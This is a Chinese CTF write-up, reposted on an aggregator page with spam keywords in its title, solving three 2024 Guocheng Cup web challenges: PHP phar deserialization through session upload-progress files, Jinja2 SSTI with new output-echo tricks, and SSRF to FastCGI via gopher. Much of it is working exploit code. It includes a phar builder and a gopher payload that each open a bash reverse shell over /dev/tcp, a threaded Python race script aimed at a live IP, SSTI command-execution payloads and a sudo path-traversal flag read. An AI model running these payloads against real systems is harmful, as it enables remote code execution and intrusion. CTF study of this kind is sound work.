您的位置:首页 > 娱乐 > 八卦 > 莆田网站建设收费标准_深圳建立网站_外包公司为什么没人去_长沙网站优化排名推广

莆田网站建设收费标准_深圳建立网站_外包公司为什么没人去_长沙网站优化排名推广

2025/1/1 10:04:27 来源:https://blog.csdn.net/2302_80472909/article/details/144778726  浏览:    关键词:莆田网站建设收费标准_深圳建立网站_外包公司为什么没人去_长沙网站优化排名推广
莆田网站建设收费标准_深圳建立网站_外包公司为什么没人去_长沙网站优化排名推广

这四道题目Jasper大佬都做了镜像可以直接拉取进行复现
https://jaspersec.top/2024/12/16/0x12%20%E5%9B%BD%E5%9F%8E%E6%9D%AF2024%20writeup%20with%20docker/

n0ob_un4er

这道题没有复现成功, 不知道为啥上传了文件, 也在 /tmp目录下生成了sess_PHPSESSID的文件, 但是就是无法写入内容, 文件的内容一直都是空白, 也直接用python的脚本一键运行, 显示了恶意phar已copy到/tmp/tmp.tmp , 但依旧没啥用, 搞不明白, 所以仅记录了解一下整个的一个过程, 加深了解session文件的利用

<?php
$SECRET  = `/readsecret`;
include "waf.php";
class User {public $role;function __construct($role) {$this->role = $role;}
}
class Admin{public $code;function __construct($code) {$this->code = $code;}function __destruct() {echo "Admin can play everything!";eval($this->code);}
}
function game($filename) {if (!empty($filename)) {if (waf($filename) && @copy($filename , "/tmp/tmp.tmp")) {echo "Well done!";} else {echo "Copy failed.";}} else {echo "User can play copy game.";}
}
function set_session(){global $SECRET;$data = serialize(new User("user"));$hmac = hash_hmac("sha256", $data, $SECRET);setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}
function check_session() {global $SECRET;$data = $_COOKIE["session-data"];list($data, $hmac) = explode("-----", $data, 2);if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac) || !hash_equals(hash_hmac("sha256", $data, $SECRET), $hmac)) {die("hacker!");}$data = unserialize($data);if ( $data->role === "user" ){game($_GET["filename"]);}else if($data->role === "admin"){return new Admin($_GET['code']);}return 0;
}
if (!isset($_COOKIE["session-data"])) {set_session();highlight_file(__FILE__);
}else{highlight_file(__FILE__);check_session();
}

无法直接通过session-data伪造admin身份进行命令执行( 因为使用了hmac-sha256签名算法, 且无法获取到$SECRET, )

开始能用的就是只有copy, 而copy是可以使用phar伪协议的, 只有能够反序列化Admin类就可以RCE, 所以要想到是利用phar打反序列化

phar反序列化需要有文件上传的点, 这里没有, 但可以将phar编码为字符串进行写入到文件里面去

所以需要找一个可控的文件, 一般可控的文件有临时文件, 日志文件, session文件, 但这里设置了open_basedir, 也就无法利用日志文件
临时文件无法知道文件名, 也无法利用, 所以这里可用的就是session文件了, 并且这里php版本为7.2,这个版本就算不开启session,只要上传了文件,并且在cookie传入了PHPSESSID,也会生成临时的session文件

最终思路:
上传文件, 然后在session的临时文件上写入编码后的phar文件, 然后利用filter伪协议将phar文件的内容还原写到 /tmp/tmp.tmp文件中, 最后利用phar伪协议解析, 触发反序列化进行 RCE

上传文件: php upload process可以在/tmp下生成部分内容可控的sess_<sessionid>文件
要有 PHPSESSID

在这里插入图片描述

在这个session文件里面开头都会存在 upload_proccess_

利用到php exit死亡绕过的知识点, 将不可控的部分消除掉
可控内容之前的upload_process_字段,添加aaaaaa后,三次base64即可置空

在这里插入图片描述

可控内容之后,用string.strip_tags过滤器可以全部清除掉,只需在可控部分之后加个<即可

最终payload构造:: aaaaaa+base64_encode(base64_encode(base64_encode(payload))) + <

这个payload是用于放在文件上传的PHP_SESSION_UPLOAD_PROGRESS下的内容

payload触发:

?filename=php://filter/string.strip_tags|convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/tmp/[PHPSESSID]

到这里就实现了/tmp/tmp.tmp任意写

然后要构造phar文件内容

<?phpclass Admin{public $code;function __construct($code) {$this->code = $code;}}@unlink("exp.phar");$phar = new Phar("exp.phar");                  // 后缀名必须为 phar,生成之后可以修改$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>");  // 设置stub$o = new Admin("system(' bash -c \"bash -i >& /dev/tcp/*.*.*.*/9999 0>&1\"');");$phar->setMetadata($o);                         // 将自定义的 meta-data 存入 manifest$phar->addFromString("jasper", "123");       // 添加要压缩的文件//签名自动计算$phar->stopBuffering();$pharContent = file_get_contents('exp.phar');$b64 = base64_encode(base64_encode(base64_encode($pharContent)));print("bbbbbb".$b64.htmlspecialchars('<'));
?>

python脚本

import io
import requests
import threading
import timesessid = 'jasper1'
# url = 'http://127.0.0.1:8888/index.php'
url = "http://125.70.243.22:31293/index.php"
## read flag
phar_payload = "bbbbbbVUVRNWQyRklRV2RZTVRsSlVWVjRWVmd3VGxCVVZrSktWRVZXVTB0RGF6ZEpSRGdyUkZGd2RFRkJRVUZCVVVGQlFVSkZRVUZCUVVKQlFVRkJRVUZCTlVGQlFVRlVlbTh4VDJsS1FscEhNWEJpYVVrMlRWUndOMk42YnpCUGFVcHFZakpTYkVscWRIcFBha2w1VDJsS2VtVllUakJhVnpCdlNuazVlVnBYUm10ak1sWnFZMjFXTUVwNWF6ZEphblE1UW1kQlFVRkhjR2hqTTBKc1kyZE5RVUZCUkU5d01WSnVRWGRCUVVGT1NtcFRTV2t5UVZGQlFVRkJRVUZCUkVWNVRTOWtkbll5V1hoSE5GaE9jRXBPTHpWWmFFWlBXRGx4ZUdFMGMwRm5RVUZCUldSRFZGVkpQUT09<"
# reverse shell
# phar_payload = "bbbbbbVUVRNWQyRklRV2RZTVRsSlVWVjRWVmd3VGxCVVZrSktWRVZXVTB0RGF6ZEpSRGdyUkZGeFdFRkJRVUZCVVVGQlFVSkZRVUZCUVVKQlFVRkJRVUZDYWtGQlFVRlVlbTh4VDJsS1FscEhNWEJpYVVrMlRWUndOMk42YnpCUGFVcHFZakpTYkVscWRIcFBhbGt3VDJsS2VtVllUakJhVnpCdlNubENhVmxZVG05SlF6RnFTVU5LYVZsWVRtOUpRekZ3U1VRMGJVbERPV3RhV0ZsMlpFZE9kMHg2UlhoT2FUUXlUV2swZWs5RE5ETk5VemcxVDFSck5VbEVRU3RLYWtWcFNubHJOMGxxZERsQ1owRkJRVWR3YUdNelFteGpaMDFCUVVGRFVqRnNVbTVCZDBGQlFVNUthbE5KYVRKQlVVRkJRVUZCUVVGRVJYbE5lV2xOVG5GMGFFaElOMmhyT0Uxa1EwZFJjM2hGY1hORE1XZDBRV2RCUVVGRlpFTlVWVWs5<"# 全局事件,用于协调线程退出
stop_event = threading.Event()def write_session_file(session):while not stop_event.is_set():f = io.BytesIO(b'a' * 1024 * 50)session.post(url,data={"PHP_SESSION_UPLOAD_PROGRESS": phar_payload},files={"file": ('q.txt', f)},cookies={'PHPSESSID': sessid})def copy_to_tmp(session):payload = "?filename=php://filter/string.strip_tags|convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/tmp/sess_" + sessidwhile not stop_event.is_set():res = requests.get(url + payload, cookies=session.cookies)if "Well done!" in res.text:print("[+] 恶意phar已copy到/tmp/tmp.tmp ...")else:print("[-] 拷贝失败!")if "flag" in res.text or "D0g3xGC" in res.text:stop_event.set()  ## 设置退出事件breakdef unser_phar(session):payload = "?filename=phar:///tmp/tmp.tmp/jasper"while not stop_event.is_set():res = requests.get(url + payload, cookies=session.cookies)if "flag" in res.text or "D0g3xGC" in res.text:print(res.text)print("[+] 利用成功!")stop_event.set()  ## 设置退出事件breaksession = requests.Session()# 创建并启动线程
write_thread = threading.Thread(target=write_session_file, args=(session,))
write_thread.daemon = True
write_thread.start()copy_thread = threading.Thread(target=copy_to_tmp, args=(session,))
copy_thread.daemon = True
copy_thread.start()unser_thread = threading.Thread(target=unser_phar, args=(session,))
unser_thread.daemon = True
unser_thread.start()# 主线程保持活跃,等待子线程结束
while not stop_event.is_set():time.sleep(1)

Ez_Gallery

admin/123456登录进去

任意文件读取, 读取源码 app.py

import jinja2
from pyramid.config import Configurator
from pyramid.httpexceptions import HTTPFound
from pyramid.response import Response
from pyramid.session import SignedCookieSessionFactory
from wsgiref.simple_server import make_server
from Captcha import captcha_image_view, captcha_store
import re
import osclass User:def __init__(self, username, password):self.username = usernameself.password = passwordusers = {"admin": User("admin", "123456")}def root_view(request):# 重定向到 /loginreturn HTTPFound(location='/login')def info_view(request):# 查看细节内容if request.session.get('username') != 'admin':return Response("请先登录", status=403)file_name = request.params.get('file')file_base, file_extension = os.path.splitext(file_name)if file_name:file_path = os.path.join('/app/static/details/', file_name)try:with open(file_path, 'r', encoding='utf-8') as f:content = f.read()print(content)except FileNotFoundError:content = "文件未找到。"else:content = "未提供文件名。"return {'file_name': file_name, 'content': content, 'file_base': file_base}def home_view(request):# 主路由if request.session.get('username') != 'admin':return Response("请先登录", status=403)detailtxt = os.listdir('/app/static/details/')picture_list = [i[:i.index('.')] for i in detailtxt]file_contents = {}for picture in picture_list:with open(f"/app/static/details/{picture}.txt", "r", encoding='utf-8') as f:file_contents[picture] = f.read(80)return {'picture_list': picture_list, 'file_contents': file_contents}def login_view(request):if request.method == 'POST':username = request.POST.get('username')password = request.POST.get('password')user_captcha = request.POST.get('captcha', '').upper()if user_captcha != captcha_store.get('captcha_text', ''):return Response("验证码错误,请重试。")user = users.get(username)if user and user.password == password:request.session['username'] = usernamereturn Response("登录成功!<a href='/home'>点击进入主页</a>")else:return Response("用户名或密码错误。")return {}def shell_view(request):if request.session.get('username') != 'admin':return Response("请先登录", status=403)expression = request.GET.get('shellcmd', '')blacklist_patterns = [r'.*length.*', r'.*count.*', r'.*[0-9].*', r'.*\..*', r'.*soft.*', r'.*%.*']if any(re.search(pattern, expression) for pattern in blacklist_patterns):return Response('wafwafwaf')try:result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(expression).render({"request": request})if result is not None:return Response('success')else:return Response('error')except Exception as e:return Response('error')def main():session_factory = SignedCookieSessionFactory('secret_key')with Configurator(session_factory=session_factory) as config:config.include('pyramid_chameleon')  # 添加渲染模板config.add_static_view(name='static', path='/app/static')config.set_default_permission('view')  # 设置默认权限为view# 注册路由config.add_route('root', '/')config.add_route('captcha', '/captcha')config.add_route('home', '/home')config.add_route('info', '/info')config.add_route('login', '/login')config.add_route('shell', '/shell')# 注册视图config.add_view(root_view, route_name='root')config.add_view(captcha_image_view, route_name='captcha')config.add_view(home_view, route_name='home', renderer='home.pt', permission='view')config.add_view(info_view, route_name='info', renderer='details.pt', permission='view')config.add_view(login_view, route_name='login', renderer='login.pt')config.add_view(shell_view, route_name='shell', renderer='string', permission='view')config.scan()app = config.make_wsgi_app()return appif __name__ == "__main__":app = main()server = make_server('0.0.0.0', 6543, app)server.serve_forever()

黑名单:

blacklist_patterns = [r'.*length.*', r'.*count.*', r'.*[0-9].*', r'.*\\..*', r'.*soft.*', r'.*%.*']

没有回显, 需要一些方法去拿到回显

官方wp:

{{cycler.__init__.__globals__. __builtins__['exec']
("request.add_response_callback(lambda request, response: setattr(response, 'text',__import__('os').popen('whoami').read()))",{'request': request})}}

过滤了点 ., 需要绕过, 用[ ] 绕过
以及用getattr 绕过 request.add_response_callback ==> getattr(request,'add_response_callback')

{{cycler['__init__']['__globals__']['__builtins__']['exec']("getattr(request,'add_response_callback')
(lambda request,response:setattr(response,'text',getattr(getattr(__import__('os'),'popen')('whoami'),'read')()))",{'request':request})}}

其他大佬的方法:

{{cycler['__init__']['__globals__']['__builtins__']
['setattr'](cycler['__init__']['__globals__']['__builtins__']['__import__']
('sys')['modules']['wsgiref']['simple_server']
['ServerHandler'],'http_version',cycler['__init__']
['__globals__']['__builtins__']['__import__']('os')['popen']('ls')['read']())}}

Jinja2-SSTI 新回显方式技术学习

从这道题目去学习了一下Jinja2-SSTI 新回显方式技术

环境搭建

app.py

from flask import Flask, request,render_template, render_template_string
app = Flask(__name__)@app.route('/', methods=["POST"])
def template():template = request.form.get("code")result=render_template_string(template)print(result)if result !=None:return "OK"else:return "error"if __name__ == '__main__':app.run(debug=False, host='0.0.0.0', port=8000)
flask中的Server头回显

响应包里面的server头打印了Werkzeug和python的版本号, 可以利用它的值进行回显

在这里插入图片描述

大佬们的文章分析的很清楚, Server头的值是从self.version_string()出来的,而 version_string方法,其实就是直接将server_version属性和sys_version属性拼接在一起的

以属性的方式存放于类中, 那么就可以通过一些赋值的方式将我们的代码或者是命令执行的回显放在这个这个属性中, 从而随着请求头的send, 我们需要的回显就会出现在响应包里面

但是 WSGIRequestHandlerserver_version其实是方法

class WSGIRequestHandler(BaseHTTPRequestHandler):server: BaseWSGIServer@propertydef server_version(self) -> str:  # type: ignorereturn self.server._server_version

是一个方法而不是属性, 好像无法通过利用 setattr 这种去进行赋值(因为lambda匿名函数表达式不被jinja2引擎解析)
但是它前面又有一个 @property ==> 它把方法包装成属性,让方法可以以属性的形式被访问和调用
所以我们可以直接给他赋str类型的值

关键是需要调用到 werkzeug.serving.WSGIRequestHandler 类, 使用 setattr 控制它的server_version属性的值

payload

{{g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",g.pop.__globals__.__builtins__.__import__('os').popen('whoami').read())}}# 这里的g是 flask 提供的一个全局变量
# sys 模块的 modules 属性以字典的形式包含了程序自开始运行时所有已加载过的模块, 从这里获取所需要的werkzeug模块, 从而获取到WSGIRequestHandler 对象

在这里插入图片描述

同理也可以换成 sys_version

在这里插入图片描述

HTTP协议回显

看到 send_response 方法

def send_response(self, code, message=None):
"""Add the response header to the headers buffer and log the
response code.Also send two standard headers with the server software
version and the current date."""
self.log_request(code)
self.send_response_only(code, message)
self.send_header('Server', self.version_string())
self.send_header('Date', self.date_time_string())

发送一些信息, 其实就是回显包里面的那些信息,
看到 send_response_only 方法

def send_response_only(self, code, message=None):
"""Send the response header only."""
if self.request_version != 'HTTP/0.9':if message is None:if code in self.responses:message = self.responses[code][0]else:message = ''if not hasattr(self, '_headers_buffer'):self._headers_buffer = []self._headers_buffer.append(("%s %d %s\r\n" %(self.protocol_version, code, message)).encode('latin-1', 'strict'))

在这里插入图片描述

可以看到这三个值都是页面上回显的值, 那么只要能够控制他们的值, 就可以得到我们想要的回显了

首先 protocol_version 它是 werkzeug.serving.WSGIRequestHandler 里面的一个属性,
所以需要获取到WSGIRequestHandler 对象
sys 模块的 modules 属性以字典的形式包含了程序自开始运行时所有已加载过的模块,可以直接从该属性中获取到目标模块

而获取sys模块的方式有很多种, 可以从__spec__的全局变量中获取

{{lipsum.__spec__.__init__.__globals__}}

在这里插入图片描述

最终获取 WSGIRequestHandler 对象里面的 protocol_version 属性

{{lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler.__dict__}}

在这里插入图片描述

然后就是使用 setattr 方法控制 protocol_version 属性的值

payload

{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"protocol_version",lipsum.__globals__.__builtins__.__import__('os').popen('echo xpw').read())}}

在这里插入图片描述参考文章:
https://xz.aliyun.com/t/15780?time__1311=GqjxnQGQDQO4l6zG7DyDI2DfosHKwd43x

https://xz.aliyun.com/t/15994?time__1311=GqjxcD2DnAY4lxGghDyDIg8QrbCACEioD%#toc-7

signal

网站进去一个登录框, dirsearch扫一下目录
有一个/.index.php.swp

最近我朋友让我给他注册个账号,还想要在他的专属页面实现查看文件的功能。好吧,那就给他创个guest:MyF3iend,我是不可能给他我的admin账户的

拿到一个账号密码: guest:MyF3iend

登录进去, 观察到它的 url

在这里插入图片描述

存在一个任意文件读取漏洞, 因为之前扫目录可用扫到一个 admin.php ,直接读取会跳转到 index.php, 说明被执行了, 所以这里可以猜测是用了include函数来包含的 , 需要使用php伪协议绕过一下读取源码, 但是也过滤了挺多, 二次编码一下绕过

?path=php://filter/%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=admin.php

读取到admin.php

<?php
session_start();
error_reporting(0);if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'admin') {$_SESSION['error'] = 'Please fill in the username and password';header("Location: index.php");exit();
}$url = $_POST['url'];
$error_message = '';
$page_content = '';if (isset($url)) {if (!preg_match('/^https:\/\//', $url)) {$error_message = 'Invalid URL, only https allowed';} else {$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $page_content = curl_exec($ch);if ($page_content === false) {$error_message = 'Failed to fetch the URL content'.curl_error($ch);}curl_close($ch);}
}
?>

读一下guest.php, 存在waf的内容

<?php
session_start();
error_reporting(0);if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'guest' ) {$_SESSION['error'] = 'Please fill in the username and password';header('Location: index.php');exit();
}if (!isset($_GET['path'])) {header("Location: /guest.php?path=/tmp/hello.php");exit;
}$path = $_GET['path'];
if (preg_match('/(\.\.\/|php:\/\/tmp|string|iconv|base|rot|IS|data|text|plain|decode|SHIFT|BIT|CP|PS|TF|NA|SE|SF|MS|UCS|CS|UTF|quoted|log|sess|zlib|bzip2|convert|JP|VE|KR|BM|ISO|proc|\_)/i', $path)) {echo "Don't do this";
}else{include($path);
}?>

还是需要进入admin.php里面去, 需要拿到它的账号密码

在最初的登录界面那里可以发现一个 StoredAccounts.php 读取一下试试

在这里插入图片描述

StoredAccounts.php 给了admin的密码

<?php
session_start();$users = ['admin' => 'FetxRuFebAdm4nHace','guest' => 'MyF3iend'
];if (isset($_POST['username']) && isset($_POST['password'])) {$username = $_POST['username'];$password = $_POST['password'];if (isset($users[$username]) && $users[$username] === $password) {$_SESSION['logged_in'] = true;$_SESSION['username'] = $username;if ($username === 'admin') {header('Location: admin.php');} else {header('Location: guest.php');}exit();} else {$_SESSION['error'] = 'Invalid username or password';header('Location: index.php');exit();}
} else {$_SESSION['error'] = 'Please fill in the username and password';header('Location: index.php');exit();
}

登录admin用户, 存在一个url参数打sstf, 但是只能限定是 https, vps要https打302, 没有域名的话借助ngrok工具, 在服务器上面使用这个工具可以创建一个临时网站

ngrok: https://download.ngrok.com/linux?tab=download

用于本地服务跳转的代码:

from flask import Flask, redirectapp = Flask(__name__)@app.route('/')
def indexRedirect():redirectUrl = 'http://[ip]/302.php'return redirect(redirectUrl)if __name__ == '__main__':app.run('127.0.0.1', port=8080, debug=True)

ngrok用于搭建临时网站:

ngrok http 8080

在这里插入图片描述

在这里插入图片描述

将这个传入url, 可以看到内容

在这里插入图片描述

接下来就是利用工具生成payload打fastcgi

在这里插入图片描述

改一下app.py 的url

在这里插入图片描述

可以看到已经执行了命令

在这里插入图片描述

那么接下来就是反弹shell了

在这里插入图片描述

同理app.py也相应的更改:

from flask import Flask, redirectapp = Flask(__name__)@app.route('/')
def indexRedirect():redirectUrl ='gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/admin.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/[ip]/6666%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00'return redirect(redirectUrl)if __name__ == '__main__':app.run('127.0.0.1', port=8080, debug=True)

在这里插入图片描述

后面本来还有一个提权, 但是这个环境好像没有, 拿别的师傅的截图记录一下

在这里插入图片描述

sudo cat /tmp/whereflag/../../../root/flag

在这里插入图片描述

参考文章:

https://jaspersec.top/2024/12/16/0x12%20%E5%9B%BD%E5%9F%8E%E6%9D%AF2024%20writeup%20with%20docker/
https://www.cnblogs.com/Litsasuk/articles/18593334#%E5%87%BA%E9%A2%98%E5%8F%82%E8%80%83%E6%96%87%E7%AB%A0
https://www.cnblogs.com/dghh/p/18598149

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com